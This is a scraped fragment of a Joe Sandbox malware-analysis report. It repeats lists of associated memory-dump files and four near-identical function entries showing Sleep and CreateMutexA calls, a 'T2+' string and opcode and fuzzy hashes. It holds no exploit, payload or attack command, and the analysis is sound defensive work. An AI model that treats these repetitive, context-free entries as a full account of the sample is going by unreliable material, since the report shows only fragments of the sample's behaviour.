Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2+
API String ID: 1464230837-3577279055
Opcode ID: ddec673cb6b470a69384df932a72268861aea65b4cc27e2fc1cf6fcead026862
Instruction ID: 456d2cf5f30eb5f61a7ef109d07cdba57197f77a729dd602bfa1cc52de97309c
Opcode Fuzzy Hash: ddec673cb6b470a69384df932a72268861aea65b4cc27e2fc1cf6fcead026862
Instruction Fuzzy Hash: D5314831A20200CBFB08DB78EC8A75DB766EBC6316F208319E814973D6C77559E88755

Function 00259F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0025A963
CreateMutexA.KERNEL32(00000000,00000000,002B3254), ref: 0025A981

Strings

T2+, xrefs: 0025A970

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2+
API String ID: 1464230837-3577279055
Opcode ID: 19de5dc7e07117d27ad48cb103791e0fa02a7376597fcde3d48271c452cad8de
Instruction ID: 4ef5e840389bb7edf5749774e2c699c6db23a07984dda42d0201e66f322b73e1
Opcode Fuzzy Hash: 19de5dc7e07117d27ad48cb103791e0fa02a7376597fcde3d48271c452cad8de
Instruction Fuzzy Hash: 13316631B302008BEB18DB78DC8A7ADB766EFC5315F208319E814E72C5C77599E88756

Function 0025A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0025A963
CreateMutexA.KERNEL32(00000000,00000000,002B3254), ref: 0025A981

Strings

T2+, xrefs: 0025A970

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2+
API String ID: 1464230837-3577279055
Opcode ID: 7f0a9718d5f91ca693abe933a8fd339ed75d6043bd918b18f47d3d86134de921
Instruction ID: 4a7044d492adcf6ed4bbd0ca462e27feb5be123b336580089518cfc8ad29b032
Opcode Fuzzy Hash: 7f0a9718d5f91ca693abe933a8fd339ed75d6043bd918b18f47d3d86134de921
Instruction Fuzzy Hash: 26317B31B301009BEB08DB78DC8A76DB766DFC5315F208319E814973D5C77559A88B6A

Function 0025A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0025A963
CreateMutexA.KERNEL32(00000000,00000000,002B3254), ref: 0025A981

Strings

T2+, xrefs: 0025A970

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2+
API String ID: 1464230837-3577279055
Opcode ID: 19b2cc812e69d9dc991fd1e38b17bc32b19a9a9be25b7aa2bbfe8b59d8320df9
Instruction ID: 023320e9b70fce429433c5da4e77d00bf92d0712e154bac41160834aefcae5b2
Opcode Fuzzy Hash: 19b2cc812e69d9dc991fd1e38b17bc32b19a9a9be25b7aa2bbfe8b59d8320df9
Instruction Fuzzy Hash: 1B316831B301018BFB08DB78DC8A75DB766AFC6315F208319E814E72D5C77559A8871A

Function 0025A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0025A963
CreateMutexA.KERNEL32(00000000,00000000,002B3254), ref: 0025A981

Strings

T2+, xrefs: 0025A970

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
